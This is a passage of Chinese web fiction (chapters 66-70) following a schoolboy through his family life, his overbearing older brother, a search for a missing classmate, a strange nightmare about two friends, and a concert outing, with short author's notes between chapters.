那时纪羽才学着一个人入睡,自然勤学苦练,直到很久以后他才知道纪律暗中动的手脚,不过那时他已是称得上是百发百中的神抓手了。 在小女孩的期盼的眼神下,纪羽很快抓起兔子,是机器里品相最好的一只,女孩抱在怀里爱不释手,拉着纪羽的手一个劲叫哥哥想把人也带走,女孩妈妈送了几杯饮料感谢飞速将孩子揣着了。 母女俩走后,纪羽又抓了两只玩偶让柳承带回去,柳承还向他道歉:“我差点就把玩偶送给小妹妹了。” 纪羽摆摆手:“小事情而已,没什么。” 晚上放学,纪羽倒是没反对梁子尧跟着他。 “今天没带手机,回去我把钱转给你。” “什么钱?” “吃饭还有抓娃娃的钱。” 梁子尧缓步:“我有钱请客,不用给我。” 纪羽毫不客气:“你之前吃食堂免费的汤都要来三碗。” 梁子尧:“那叫有便宜不占王八蛋。” 不想占梁子尧便宜的纪羽:“……” “不是说你,纪羽,我知道你在想什么。”梁子尧转过脸,看着纪羽被夕阳浸染的眉眼,“他们是你的朋友,我不会抢。” “什么……”纪羽顿住脚步,干燥的风拂过两人间隙。 “别生我的气了。” 梁子尧说得认真,两行视线想要洞穿纪羽的内心,在那一瞬间,愈合的右肩伤口像被蚂蚁爬过,敏感地麻痒起来。 “你想太多了。”纪羽甩下这一句,随手拦了辆车就走。 到了目的地才想起来自己没带够钱,只好把包和学生证押在车里,跑回去拿钱。 虽说纪泽兰答应今年不再离开,但厂里大大小小的事时常需要人看顾着,而纪羽天亮出门天黑回家,十天半个月才有一天假期,要纪泽兰和徐梁天天待在家什么也不做更不现实,因此有时两人也会出门处理些工作,偶尔不在家也很正常。 今晚,家里就只有他和韩姨两人。 “汤喝完就放着啊,韩姨明天收拾,晚上睡觉把窗关紧,房间温度宁愿打高一点也不要低,好吧?” 纪羽捧着碗点头:“嗯嗯。” 韩姨摸了摸他的脑袋,进屋休息。 22:47。 客厅开着一盏落地灯,鱼汤被炖到奶白,鱼肉化开,刺都挑了出去,纪羽眼睛眨也不眨地看着电视,手上自动舀着汤。 布置的作业写完了,新的教辅还没拆封,写不下去,刚巧韩姨叫他吃夜宵,干脆就下了楼。 随手点的一部电影倒是很好看。 不知不觉就入了神。 喝完汤,纪羽点了暂停,洗好碗,爬上沙发,盖着毯子聚精会神地看。 这不是不务正业,这是积累作文素材,说不定哪次考试就用上了呢。 纪羽想着,却走了神,也不知道自己什么时间睡着了。 电视声音调得很低,毯子厚实,纪羽背对沙发靠垫,睡得很沉。 纪泽兰和徐梁回来时看到的就是这一幕,不由得放轻了动作,小心地挪近。 “睡熟了?”徐梁无声说。 纪泽兰掖了掖毛毯,拿开老公的手:“别动。” “那怎么办,总不能在这睡。” 从前纪羽年纪小倒还好,在哪都能睡,再不济睡熟了也能抱回房间里,现在要想不惊动人倒是难了。 “再等等,坐会儿。”纪泽兰在纪羽身侧坐下,徐梁没敢下臀,他身板壮,怕一坐下沙发凹一块,儿子能打个滚惊醒,索性在地毯上坐下。 “累着了。” 就像看到小猫小狗睡熟忍不住动手动脚那样,徐梁也忍不住对他儿子下手,摸一摸纪羽的脸,碰一碰耳朵、额头。 纪泽兰本想制止,但见纪羽没醒,也将手落到纪羽头顶,摸到一团毛茸茸。 徐梁低声道:“眼睛睁开像你,闭上像我。” 纪泽兰屈指弹他胳膊:“放屁,尽给自己贴金。” 要她说,纪羽整张脸的五官都像她,但鼻子更立挺,纪羽眼睛本来就大,脸又足够小,更显醒目。 纪泽兰最喜欢小儿子用一双大眼睛盯着她瞧,灵动得不得了。 偶尔困到不行了,眼睛里就会雾蒙蒙的,抱着她的脖子哼唧。 就像今天这样,在沙发上等到睡着,不小心闹醒了就钻进人怀里,用嫩嫩的脸蛋蹭着人的下巴和脖子,纪泽兰怀疑有时纪羽醒来是徐梁故意的。 哪怕纪羽已经长大了,撒娇的次数渐渐减少,或许哪一天也不会再为他们深夜回来而惊喜,但纪泽兰仍然不会改变对他的看法,内心的怜爱一分也不会减少。 这是她最孱弱的孩子。 徐梁伸出手掌丈量:“以前只有我巴掌大,现在都比你高了。” 纪泽兰踢他一脚:“别弄醒了。” 徐梁抬高手投降:“我没碰到!” 他揉揉膝盖,嘀咕道:“小宝对付老大这招就是跟你学的。” 纪泽兰还要瞪他,纪羽突然醒了,扑到她肩上抱着她。 纪泽兰惊了下,以为他受了什么委屈,拍着他后背问道:“怎么了?” 纪羽的眼睛又闭上了,含糊不清似乎仍在做梦:“纪律,我抓到好几个娃娃……” 第67章 一早见着纪律时, 纪羽还当他在做梦。 翻了个身又闭眼睡了一会儿,摇摇晃晃撑着床爬起来,再一看, 纪律人还在。 纪羽懵着脸,闭上眼睛, 又睁开。 “你在干嘛……很吓人…” 纪律站在破晓晨光里,嵌了满肩朦胧,只有脸庞笼在阴影里, 纪羽毫不怀疑纪律就这么坐着看了他一整个早上。 “明天带你去体检。” 纪羽下意识皱眉:“明天——” “明天放假。” “哦……”难得的休息天被毁, 纪羽无精打采地从床尾扒拉衣服慢吞吞穿上。 “穿反了。”纪律起身,拉住毛衣下摆, “抬手。” 纪羽举高双手, 毛衣从下往上被掀起,顺畅地剥离, 纪律手臂一翻, 手掌撑开领口:“头伸过来。” 堆叠的毛衣领口钻出颗海胆,不用纪律说, 纪羽自觉伸手穿过衣袖。 下楼吃饭, 纪羽跑进厨房给粥里加糖,见水池边摆着用过的碗筷, 探头问:“爸妈出去了?” 韩姨跟进来盖上糖罐:“一早就走了,徐先生一起来就焖了粥, 好了, 糖不能再加了, 早上吃太甜对身体不好。” 纪羽被赶出厨房,在餐桌上坐下,有一搭没一搭地喝粥, 纪律照旧在喝他的咖啡。 陶瓷轻嚓声音清脆,纪律抬眼,“我有话问你。”纪羽放下勺子对他说。 “说什么?” “家里是不是又出事了?”纪羽严肃脸。 “没有,”纪律抬起咖啡杯喝了一口,“为什么这么想?” 纪羽紧盯:“真的?” “明天带你去心理科,查一下有没有被迫害妄想症。” “咳!”韩姨用不满的眼神看向纪律。 纪律:“……没有。” 纪羽低头,舀了满满一勺热粥,鼓着脸吹气:“不要骗我就好。”- 今天是贺思钧承诺期限的最后一天。 可他依旧没出现。 “这个题型我讲七讲八,讲了不说有十遍,六遍至少有的,有些人还在错……” 纪羽撑着脸看纸面上一道大大的红勾,心里微微地窃喜。 “——做对的也不要在那摇头晃脑得意,嘚瑟劲给我收一收!” 纪羽轻咳一声忙放下手坐正。 下课铃响。 “再给我两分钟,我把这道题讲完。” “唉……” “再唉五分钟!” 纪羽坐得屁股麻,侧着半边身子盯着黑板发呆,眼角带过晃荡的灰影。 见纪羽视线扫来,梁子尧在窗外小幅度挥手。 几分钟后,一群人憋疯了似的涌出教室。 梁子尧:“去哪儿吃?” 纪羽:“食堂。” 梁子尧:“行。” 吃着饭,梁子尧问:“明天有空吗。” “没空。” 梁子尧的表情变得很可怜。 “……我明天有事。” 梁子尧收势:“晚上呢?我有几张旧夏天演唱会的赠票,有时间的话要不要去看看。” “旧夏天?” 旧夏天是流行乐坛内一线知名度的乐队,十多年来长盛不衰,数首原创曲目传遍大街小巷,毫不夸张地说,纪羽是听他们的歌长大的。 要不是前段时间实在忙得晕头转向,纪羽可能也会是抢票人群里的一个。 纪羽心念微动,体检最多花半天,他其实有空。 “还是算了,是给你的赠票,你找你朋友去吧。” 梁子尧啪地放下筷子,用眼神说道:我们不是朋友吗? 最终,展舒文和柳承也被说服一起前往。 “刚好有五张票,晓怡妹妹一起来咱们就有五个人,不浪费。” 正好贺思钧不在。 纪羽心想。 这个念头冒出的一瞬感受很怪,紧张、忐忑里又夹杂着快意。 “好。” 下午两节,都是李玄的课。 哈欠声连天响,几乎盖过铃声。 “再给大家三分钟时间,觉得困的去洗把脸,教室后面也可以站着,尽快活动一下让自己清醒过来。” 三分钟后,李玄环视教室,蹙起眉心:“那个空座是谁?” “老师,是顾英杰!” “他人呢?” 底下小声交谈,过了一会儿有人说:“好像从中午开始就没看到他了。” 李玄叫人:“王想,你去厕所看他在不在。” 男生应了一声,小步跑出教室,片刻后喘着气回来:“老师,厕所里没人。” 这下问题大了,李玄叩桌子停止讲台下纷纷议论。 “先把卷子拿出来自己做,李柯乐、范钦还有潘……算了,就你们俩跟我来一下。” 李玄带着两个男生出去,片刻后两人一块儿回来,众人七嘴八舌。 “咋了,老师给你说什么了?” “顾英杰去哪了,他逃课了?你跟我说实话,我保管不对外说。” “是和其他老师请假,忘记和老班说了吧。” “你们中午没一块儿打球吗,说说呗,什么情况?” “问李柯乐有什么用,这不应该问潘玥吗,潘玥你说你男朋友去哪儿了,中午他没和你一起吃饭吗?” “你们男的能不能别瞎问?” 被扯入话题中的潘玥却是头也没抬,低头一直拿笔写写画画,手指紧绷。 还是范钦打了圆场:“李老师就问了我们今天有没有和他一起行动,顾英杰有没有哪儿不对劲,就没了,我们出来的时候李老师还在办公室里问其他老师消息。” 一中安保严格,进入难出去更难,围墙上都拦着拦护网,新加装的监控下没有防护死角,如果顾英杰没有趁午休离校,那他多半还在学校里。 纪羽听着,静不下心,时不时向窗外张望。 没过一会儿,属于李玄的脚步声响起,还没来得及进门,她就指了几个人:“你们去学校里找找顾英杰经常去的地方,有消息立刻回来通知吴老师,让吴老师打电话给我。” 声线紧张,气息也不够稳,众人心里皆是蔓延上些许紧张感。 有人举手:“老师,让我也去找吧。” “李老师,我也去,你在教室里等吧,我跑得快!” “老师我们都去,找起来容易!” 李玄缓缓吐出一口气:“那大家一起去,不要影响到其他班上课,找到顾英杰马上回来不要在外逗留,可以吗?” “可以!” “第一、二组去操场和体育馆,三、四组在教学楼附近找,剩下两组去食堂和图书馆。我再去监控室确认一下,第二节课前无论有没有找到,大家都先回到教室。” 随着一阵桌椅移动声,教室里人所剩无几,纪羽也跟着起身,余光瞥见潘玥仍在座位上,头更低了,垂下的刘海挡住了她的面孔,握笔的指节青白。 纪羽让柳承和展舒文先走,在无声中慢慢靠近潘玥。 “潘玥。” 纪羽没错过女生微不可察的颤抖。 他轻声说:“我不太认路,你能和我一块儿走吗。” 许久,又大概只是七八秒钟,“可以。”潘玥抬起头,总是完美卷翘的睫毛杂乱地垂落着,她站起身,脚步有点急地走在前面,纪羽快走两步跟上她。 “我们先去哪儿?” 出了教学楼,就听见此起彼伏的呼喊。 “顾!英!杰!” “你丫在哪啊!!!” “回来吧顾英杰,学校已经知道错了,答应我们明天就放假了!” 纪羽跟着潘玥到假山后沿和花园树丛里翻找一圈,没见着人,潘玥眼睛顿时红了。 “我是不是不该和他说分手啊,我没想过他会找不见……” 潘玥说着说着就掉了眼泪,拿手去抹,纪羽拉住她。 潘玥:“你别拦我……” 纪羽:“没拦你,你哭吧,但是先把手擦干净,刚摸过墙上,有细菌。” 他在身上掏,掏出一包湿巾:“我没带干纸巾,这个擦脸有点刺激。” 潘玥直挺挺站着,眼泪掉得更欢了,纪羽忙抽出几张湿巾塞到她手里。 “又不是我的错!我也是为了他着想啊,我们俩这次前五百都没考进,再退下去市内一本都不稳了,他还想着去哪儿约会,我能怎么办!我才不要高考落榜考一个普通的大学,然后上普通的班然后结婚,我要上重点的,我要去大厂里做策划,他说要学建筑盖房子的,现在只能去工地搬砖了呜呜呜呜呜……” 纪羽在一旁站着,警惕四周看有没有人来。虽然很想安慰,但潘玥好像并不需要别人的劝解。 潘玥攥着湿巾自顾自嚎了一会儿,眼泪干了,情绪冷静下来,毫无顾忌地抬手一通乱抹,整理好精神对纪羽说道:“谢谢,不要对别人说。” 纪羽点头:“你放心。”他做了一个拉拉链的动作,“我的嘴巴很严。” 潘玥咧开嘴笑了,她本来就不是内敛的性格:“我们去实验楼找找吧,我和顾英杰以前经常到那里亲嘴。” “好……你把头发重新扎一下吧。” 这会儿,纪羽走在了前面带路,潘玥注意到他耳尖红了,她不由夸赞一句:“你脸好白。” 这下这只耳朵连着侧脸都红了。 纪羽还跟她说谢谢。 潘玥心情缓和,知道以顾英杰的性格不会做傻事,虽然分手时哭得一把鼻涕一把泪,但他也答应自己,下一次考试一定会重新考进前四百。 明明以前顾英杰和纪羽成绩差不多,现在却是天差地别了。潘玥不禁想如果顾英杰能和纪羽一样就好了,至少得一样努力,不说考进联盟名校,至少能稳进重点,不然他们只会成为打击早恋的典型案例。 他们自己和平分手可以,但不能被抓典型批评、受压力分开。 换个思路,要是长相一样的话……潘玥把纪羽的脸带入顾英杰声泪齐下…… 还是算了,潘玥觉得自己会下不了决心分手的—— 作者有话说:祝大家节日快乐哦 第68章 顾英杰在实验楼里被找到。 纪羽和潘玥分头找, 有些实验室上了锁,但窗没锁紧,纪羽就探身进去看。 走过又一间紧闭的实验室, 纪羽停下脚步,折返回去, 拉开走廊玻璃窗,听见室内极轻微的声响,从对侧的窗帘后传来。 这间实验室许久没人来过, 灰尘激得人鼻腔深处发痒, 地板上几串杂乱的脚印,其中一串就通向窗台。 他放轻动作, 翻窗进入, 缓缓靠近窗帘后那团隆起的黑影。 纪羽不敢吱声。 窗帘轻轻摆动。 纪羽狠一狠心,伸手用力拉开窗帘布。 顾英杰惊恐的脸随着刺目的白光一同暴露在纪羽眼前。 窗户只开了一道小缝。 幸好。 晃眼间, 顾英杰一个重心不稳从窗台上滚下, 哎呦哎呦地在地板上呻/吟着。 纪羽忙将门打开叫来潘玥。 “我去找老师,你在这看着他吧。”潘玥向室内扫了一眼, 转身跑走。 纪羽只得走回顾英杰身边看着他。 流动的空气滚入沉闷的空间, 顾英杰瘫平在地面上,两眼发直, 哆嗦着问道:“几点了?” 纪羽没带表,估摸了一下:“两点多, 快下课了。” 话还没落地, 铃声叮铃铃响起, 隐约能听见其他楼里传来的喧闹声。 纪羽:“哦,现在两点十分了。” 顾英杰:“如果我说,我只是不小心睡着了, 会怎么样?” 纪羽:“我不知道。” 顾英杰摔得很瓷实,落地时声响不小,纪羽担心他是摔到了脑袋,没去动他,蹲下来观察。 “你还能起来吗?” 顾英杰惊恐地握住纪羽的手:“我怎么好像听见有人在叫我名字,我是不是出事了。” 纪羽拍拍他的手:“不,这说明你听力不错。” 他起身走到窗边,提高声量回应道:“找!到!了!” 确认那人听到后,关窗,回到顾英杰身边蹲下:“你放心吧,李老师很快就来了。” 在纪羽耐心的讲解下,顾英杰终于了解到事件始末。 “我其实就是想一个人静静……” 顾英杰捂着脸,在地上蠕动着:“你说我是横着出去不丢脸,还是竖着出去体面?” 纪羽:“你躺着出去知道这件事的就不止我们班的人了。” 很有道理,顾英杰呲溜一下就从地上爬起,还不望问纪羽:“我发型怎么样,没乱吧?” 窗台也不高,只到人腿根,顾英杰摔下来时还在地上滚了一圈卸力,除了有点疼可能把屁股和胳膊肘摔青外,没什么事。 “你还想着发型!” 门口,潘玥先一步赶到,李玄身子重,慢了她几步。 女生的眼睛红红的,看着顾英杰,表情又倔强又关切又满是怒意,开口却是哽咽道:“你没事?” “我怎么会有事。” 顾英杰说着,眼神望着潘玥,眼眶也红了,像经历了什么生离死别,款款深情。 但其实他知道,万一他靠着的窗户不结实,从三楼上翻下去,恐怕就是凶多吉少了! 真的,他还是太冲动,太不小心,才让自己陷入险境,但这些事,就不必对她说了,他不能再让自己心爱的女人受到伤害,为他担忧! 顾英杰咬着牙,含着泪,和潘玥无声对视。 纪羽夹在两人之间,头皮发麻,牙龈发酸,尴尬得甚至恨不得下楼跑几圈,好在李玄终于来了。 “顾英杰!” 尽管顾英杰坚称自己没事,还是被李玄押往医院并通知家长,临走前,他拉着纪羽的手,对他道:“好兄弟,替我照顾好她。” 照顾是照顾不了多久了,因为这一折腾,就到了放学时间。 教室里叽里呱啦,显然是兴奋不已,纪羽却是身心狼狈。 恋爱就是这么折磨人的东西吗? 不只折磨对方,还折磨其他人。 只好为他们的分手送上祝福。 当晚,纪羽就做了一个匪夷所思的梦。 梦里,他已经毕业,甚至结婚生子,日子美满幸福。 普通的一天下班后,纪羽喝着妻子精心烹饪的甜汤,突然响起一阵急促的敲门声。 纪羽安抚住妻儿,戒备地靠近房门。 “你是谁?” 屋外不答,诡异地陷入寂静,纪羽听到了那人沉重的呼吸声。 呼之欲出的熟悉感,但想不起来究竟是谁。 妻子上前拦住他的胳膊,意外地比他还高,纪羽只好拍拍妻子的手臂,安抚道:“没关系我会处理。” 妻子把头搭在他的肩膀,有点怪异地扭曲了上身:“老公,把他赶走吧。” 原本停下的敲门声在两人的对话后再度响起,并且更重更急,甚至有破空声传来。 那几乎是在砸了,木屑飞溅落到地上像急促的雨声。 一时间木板不堪重负的嘎吱声抓住了纪羽所有心神,冷汗一层一层浸湿了后颈的衣领。 纪羽感到恐惧、慌乱、不知所措,但在妻子面前,他仍然维系着冷静说道:“你带着孩子进房间去。” 妻子不答应,反而抱住了他,修长的手臂揽过了肩膀,锁住了他,妻子的声音又是柔和黏腻的:“我会陪着你,我不会离开你。” “不……” 脆弱的门终于承受不住应声倒下。 房间内温暖明亮,衬得屋外的夜更深更黑,却也让那人的脸清晰地映照在纪羽面前。 纪羽错愕道:“贺思钧?” 相比于破门的暴烈恶劣行径,贺思钧的脸显出一种过于沉静的违和感,像是引人深入的泥潭,情绪都被吞咽,无法拔出。 他看着要比现在要成熟得多,身形也更高大,纵使只是站着,就让人生出喘不过气的错觉。 纪羽是不怕他的,但在梦里,他开始战栗,但比起恐惧,更准确来说是愧疚与心虚。 他开口,嗓子紧绷,喘不上气似的,说出的话也似蚊呐:“你来干什么?” “你抛弃我。” “你发什么神经?” 纪羽撑住身形不想在妻子面前露怯:“我已经结婚了!” 贺思钧迈步靠近,门板在他脚底发出更响亮的断裂声:“是,你选择和他在一起,所以抛弃了我,你不该选择他,你做了错误的决定,需要修正。” 妻子的手臂缠得更紧了,骨头被挤压,好痛。 “我不知道你在说什么。” “我只是离开一会儿……” 纪羽带着妻子后退,妻子很重,他很吃力地将妻子护在身后,他们的孩子跑来,抱住了他的大腿,纪羽开始头痛。 “不要再靠近了!”纪羽高声道,胃的位置跳动得剧烈,让他想呕吐。 贺思钧竟然听话地停下了,光线进入了他的眼睛,浓烈的悲伤让纪羽愣怔,继而心脏咯噔地收缩。 “我不是告诉过你吗,我不喜欢你,我们从头到尾只是朋友,我现在过得很幸福,如果你不来打扰,我们本来还可以做朋友。” 贺思钧垂首站立在那,沉默着。 来自贺思钧的威胁减轻,纪羽低喃道:“我说过的啊,我不喜欢男人……” “呵……” 一道笑声令纪羽寒毛直立,威迫感再度袭来,却与贺思钧无关,而是来自身后。 像蛇一样冰冷的手臂缠上了他,妻子的声音在耳边清晰:“老公,你在说什么呢?” 纪羽这才僵硬地发现,妻子分明是男人的嗓音,骨节也是男性的粗大。 吐息打在被冷汗浸透的后颈,他像个生锈的机器般艰涩地转过头,看到妻子凸起的喉结,硬实的下颌线条,还有挑起的嘴角,梁子尧带着胜利者的微笑,像看待战利品一般俯视他,却用柔和的嗓音说道:“怎么了,老公?” 他一把推开了“柔弱的妻子”。 呼吸急促,头晕目眩,纪羽站立不稳,摔倒在地,孩子顺势倒在了他胸前。 是“小马”,幼年版的梁子尧笑嘻嘻地看着他,张开红色的嘴巴…… “贺思钧!”救我! 纪羽气息不稳地睁开眼,看到纪律探出手,额头抵进一片温热。 “贺思钧来过?”纪律语气冷硬,“窗没关上。” “没有……”纪羽拂开他的手,自己摸自己,没发烧,“我忘记关窗了。” “我知道你要说什么,”纪羽怪模怪样地做着口型,“关窗还用我教?” 纪律沉着脸看他。 纪羽讷讷坐起身,冷汗浸透的后背接触到空气,瑟缩了肩膀:“我又不是故意的……我还做噩梦了呢…” 他脸色苍白,湿淋淋垂落的额发显得更黑,因为冷而蜷缩在一块,体型越发显小,抿着嘴没什么精神地垂着眼睛。 “换身衣服,吃了药,到我房间去睡。” 纪羽立即抬起脸,惊喜道:“不去体检啦?” 其实他觉得每隔一个月体检也太频繁了,他目前又没什么异样,每个月都抽那么多血会让他变笨的。 纪律把他提起来:“睡醒了再去。” 先是摸不着头脑的噩梦,又是体检在醒来后等着他,纪羽不觉得自己能睡好,但一窝上纪律的床,他就自觉翻到左侧躺好,眼皮也坠着落下。 熟悉的气息和空间带来令人心安的安全感。或许是因为有足够可怕的纪律在这,所以什么魑魅魍魉妖魔鬼怪都不会靠近,纪羽放松下来。 将睡未睡时感觉手里有点空,他闭着眼向外摸索,拉到一截手臂,迷迷糊糊地枕在脑袋下,就这么抱着睡着了。 第69章 梦是现实的投射。 那些潜意识里自己都没能察觉的细节, 在梦中不断地放大再放大,直到骇人听闻的程度。 也有人把梦作为上天的指引,剖析着梦境, 试图找出其中蕴含的真理。 贺思钧就说,他做过春/梦, 而梦里的主角,是他。 但他的梦又算怎么一回事呢? 回笼觉睡醒后爬起,那无法忘却的梦境反倒更加清晰, 纪羽想了一路, 脑袋晃晕了,下车时脸白得像纸。 灌了一杯味道古怪的葡萄糖水, 纪羽气息奄奄:“我感觉脖子也好痛。” 纪律:“……” 体检项目又临时加了几项。 因为纪羽怀疑自己落枕, 纪律又将他揣去了松年堂。 梅永亮笑眯眯取出一把金针:“放心,不痛。” 纪羽见着他又想起辽光, 辽光父母老来得子, 连带着辽光本人辈分也大,名字也取得很古朴, 没想到险些和爷爷辈撞名了。 默默将辽光的备注从【永光啊】改回他的艺名, 纪羽趴着动也不敢动,百无聊赖地翻手机。 贺思钧一条消息都没发, 说好五天也不算数,就算从他离开的第二天起算, 今天也是最后期限了。 给梁子尧的转账超过24小时没有接收又退还了。纪羽又转了一次。 两个聊天框相邻, 纪羽看着两个截然不同的头像, 手脚下意识蜷缩起来。 只是一个很没逻辑的梦而已。 纪羽的又一觉睡醒,已经是傍晚,纪律坐在一旁, 手机的冷光映在他脸上,察觉到纪羽醒来,放下手道: “睡醒了?” 纪羽趴着睡,一边脸压得发麻,转了脑袋换了另一边,睡得多了反应也迟钝:“嗯……” 纪律抬起手臂:“一天睡十七个小时,不错。” 纪羽打开手机自拍,看到金针已经拔了,这才放心地撑坐起来。 “你一直在这啊?”空气里有股苦涩的烟熏味,纪羽提起衣领嗅嗅,耷拉脸,“我身上好臭。” 纪律站起身,脑袋快顶到天花板:“嗯,熏了艾草,能让你气管舒服点,回去洗个澡就散了。” 踩着嘎吱响的楼梯下楼,和梅永亮道别,掀开门帘,冷空气迎面拥抱。 纪律走在前面,把他挡回屋,这附近不能长时间停车,他把车停在了地下。 “我去开车,你在这坐一会儿。” 纪羽嘴上应得好,在纪律走后立刻掀了帘子走出来,一身草药味在风中散去,空气干冽,混沌了一天的头脑渐渐清明。 正是用餐高峰期,路人昂着头扫过一众招牌。老麦不在餐馆里干了,又找了份调酒的活,因为时常听不清顾客点单所以总是随意发挥,但意外地挺受欢迎。 向巷子里看了一眼,纪羽打的车到了,他飞速上车。 司机叼一根烟没点燃:“演艺中心是吧,去哪个门?” “1号门吧。”演艺中心翻新过,纪羽还没去过,有点期待。 “行。” 车里没打空调,车窗开了两道缝,风像刀似的,纪律的电话打进来,语气比风还冷:“纪羽,你人呢?” 纪羽捂住翻飞的额发,还有心思笑:“我找朋友玩了,晚上我自己回去。” “你人在哪。” 听出纪律冰冷的怒意,纪羽依旧没心没肺道:“我在车上啊,正规平台打的车,师傅开车比你还稳。” 风声太大,纪羽干脆按了免提,纪律叫了他的名字,似乎要气炸了。 “你是不是不能乖过一天?” “我干嘛要乖,妈妈都没管过我乖不乖,而且只是背着你自己出来玩,我又不小了。” “你还知道你是背着我,你和谁在一起,贺思钧?把地址发给我。” “才不是,”纪羽关上了自己那一侧的窗,“我还有其他朋友啊,我们在一起很安全,而且我们去的地方你也进不去。” 话筒里一度没有声音传来,屏幕显示电话没有被挂断,但对面的沉默像极了暴风雨来临前的平静,纪羽因成功耍过纪律的兴奋中也蔓上一丝紧张。 “你干嘛不说话?” 纪律再开口时已经听不出情绪:“你在去演艺中心的路上,是演出?” “不是我演出——”纪羽睁大眼,“不是,你怎么知道?” 惊讶过后他随即反应过来:“你查我手机定位!” 纪律不做反应,只道:“最晚十点,我去接你。” “十点演唱会才刚结束!” “结束了你还想去哪儿?” 也没有要去哪儿,但就是不想让你接。纪羽掰着手指头:“我自己回去。” 说完,他就挂了电话。 不知不觉中车窗已经全部关紧,司机把烟夹在耳朵上,慢悠悠道:“小娃娃,和家里吵架啦?” 纪羽实话实话:“没有。” 就是纪律出差回来后让他感觉怪怪的,把他看得更紧了,他不习惯。 “一家人嘛,别太计较,听没听过一句话,退一步海阔天空,忍一时风平浪静,叔叔当年呢……” 听着师傅聊了一路,从年少时的光辉事迹聊到结婚后家长里短,说到动情处,这个中年男人还落下泪来,座位上像长出针来,纪羽坐立不安地安慰了十多分钟,下车时整个人被耗尽了精气似的脚步虚浮。 恍恍惚惚抬头一看,四周一片空荡,寥寥几根路灯照明,甚至没人经过,只有树影斑驳落在地面。 纪羽上前几步念出门上张贴告示:“场地维修,1号门暂不开放,可向南绕行600米……”? 一阵寒风吹过,纪羽面冷心更冷。 回头望去,司机师傅的车尾灯都已找不见。 纪羽吸吸鼻子,认命地手插兜迈步。 手机屏幕在口袋里亮起。 【11.29演唱会】 【π:大家打车来的话记得导航到2号门,1号门不开放:)】 真是好不巧,哈哈。 纪羽回复:【:(】 梁子尧很快来私聊他:【[疑问]怎么了?】 纪羽只说:【你还有多久到。】 梁子尧:【我在2号门了,你有什么想要的应援周边吗,我可以替你先领[图片]】 纪羽:【不用,我马上就到了。】 纪羽退出聊天框,跑去轰炸柳承和展舒文,展舒文说在路上了,柳承没回,多半是也出发了。 或许是因为那个诡异的梦,纪羽本能地不想和梁子尧单独相处,尽可能放慢着脚步,还绕了些远路。 他没吃晚饭,虽然也不饿,但怕演唱会耗体力犯低血糖影响体验,在路边摊买了碗糖水喝。 味道一般,纪羽喝两口就想丢了,走了好一会儿也没找见垃圾桶,心情指数节节下降。 纪羽不爽时,梁子尧就这么神奇地出现在他眼前,冲他招了招手,跑了过来。 “我就猜你可能迷路了,走场馆里面那条路比较快。 纪羽撑着面子:“我没迷路,我买点东西吃。” “好吃吗,”梁子尧笑着问:“这是另外打包的一份?” 纪羽把袋子往身后藏了藏,说道:“不好吃,要丢掉。” 这种东西给贺思钧吃还行,给梁子尧还是算了。 梁子尧也不别扭:“那你给我,我看那边有垃圾桶,我去丢了。” 纪羽不想多走路,把袋子给他,等梁子尧丢垃圾走回来:“你要吃什么,我请你。” 梁子尧本想说不用,但扫了一眼纪羽淡色的唇,转了话风:“前边有个便利店,到那随便吃点吧。” 纪羽应了,手插着衣兜跟着他。 尽管隔开了距离,但时不时擦过的胳膊仍然让纪羽毛骨悚然。 他想起梦中妻子揽着他的胳膊,低而缱绻的声音,高大的身形。 处处都透露着异样,叫人神昏意乱。 纪羽不知怎的脱口而出:“你的感冒好像好了。” “嗯?”梁子尧偏过头来,这样的角度让他的神情多了几分深沉,他笑了一下,明朗多了,“是该好了,你怎么知道的,听声音听出来的?” “嗯,算是吧。” 梁子尧现实的声音要比梦里更厚实,语速也稍快一些。 所以他梦到的梁子尧是夹起嗓子的?纪羽有点想笑。 “我听说贝斯手的听力是乐队里最好的,看来是真的。” 梁子尧不知道纪羽因为什么在笑,面上不明显,但眼睛里带着笑意,视线中明显地少了抵触与距离感。 像只偷腥的猫。 “也不一定。”纪羽说,“只是我刚好听力不错。” 老麦的耳朵受过伤,据说是修车时爆胎了,就在他身前两米处,嘭的一声炸响后左耳就听不太清,打鼓伤听力也是一部分原因。 贝旬只听他想听的,辽光年纪上去了听力自然没他好。 但这也只是他自己心里想想。 下次见面可以测一测,顺便带老麦去检查一下耳朵。 在便利店简单吃了点东西,展舒文和柳承也赶到了,柳晓怡上来就扑了纪羽满怀,拉着他的手排队入场,喋喋不休地讲她学校里的事,还要纪羽也一起分享。 梁子尧几乎插不进话。 进到场馆里坐下,柳晓怡小声多了。 她凑到纪羽耳边:“这比电影院大好多呀,我们要坐在那么前面吗?” 纪羽也不知道赠票是内场票,也很意外,他格外真心实意地对梁子尧笑道:“谢谢你啊。” 柳晓怡也:“谢谢你呀。” 梁子尧回道不客气,而后示意演出要开始了。 一片屏息中,纪羽的手机铃声突兀响起—— 作者有话说:嘻嘻。 第70章 纪羽立刻按下静音。 是贺思钧的来电。 纪羽下意识向身侧男生投去一眼, 梁子尧偏头看他:“怎么了?” 纪羽摇了摇头,接起了电话,轻声道:“喂。” 演出开始, 重雷般的鼓声模糊了耳边,梁子尧注视着他, 灯光全都暗下,笑意若有似无。 贺思钧对他说了什么,但在对话都需要吼的地方, 手机话筒内传来的声音实在太过微弱, 难以听清。 内场的前排离舞台很近,环绕的音响以最强的马力嘶吼, 纪羽听见贝斯的嗡鸣, 脚鼓重物坍塌般的巨响,贺思钧的声音在其中沦为不够清晰的背景音。 “我听不见。”纪羽自己的声音也微弱。 他甚至听不清贺思钧有没有在说话, 在演出开始时接打电话已经很不尊重乐队, 纪羽放下手机决定挂断。 大概是他回来了告知一声,没什么重要的事。 “……莫满……” 在节奏的间隙, 贺思钧的声音穿透电流声响起, 纪羽指尖震颤,通话界面黑屏。 手机没电了。 “是不是有急事, 用我的吧。”梁子尧掏出手机,纪羽的手已经悬在半空, 末了却说:“不用了。” 他把视线重新投在舞台上:“等演唱会结束再说吧。” 但整整一个小时, 他都魂不失守, 不清楚台上唱过几首歌,展舒文和柳晓怡走调的唱和声盘旋耳畔,场控的荧光棒不断变换光晕。 容纳几万人的场馆座无虚席, 萤光爬满山坡,随歌声浮动,纪羽陷入一片黑色的浪潮里。 梁子尧凑到他耳边:“你不跟着唱吗?” 纪羽回神:“我听着就好了。” “你好像不太高兴,是不喜欢吗?” “没有,”纪羽直起身,“我只是有点累。” 台上贝斯手扭头打了一个哈欠,刚好被纪羽看到,他笑了一下,年长的贝斯手矜持地点了点头,然后抱着贝斯游荡到主唱身旁开始发疯。 吉他手莫名加入,于是三人在台上四处游走,气氛变得热烈。 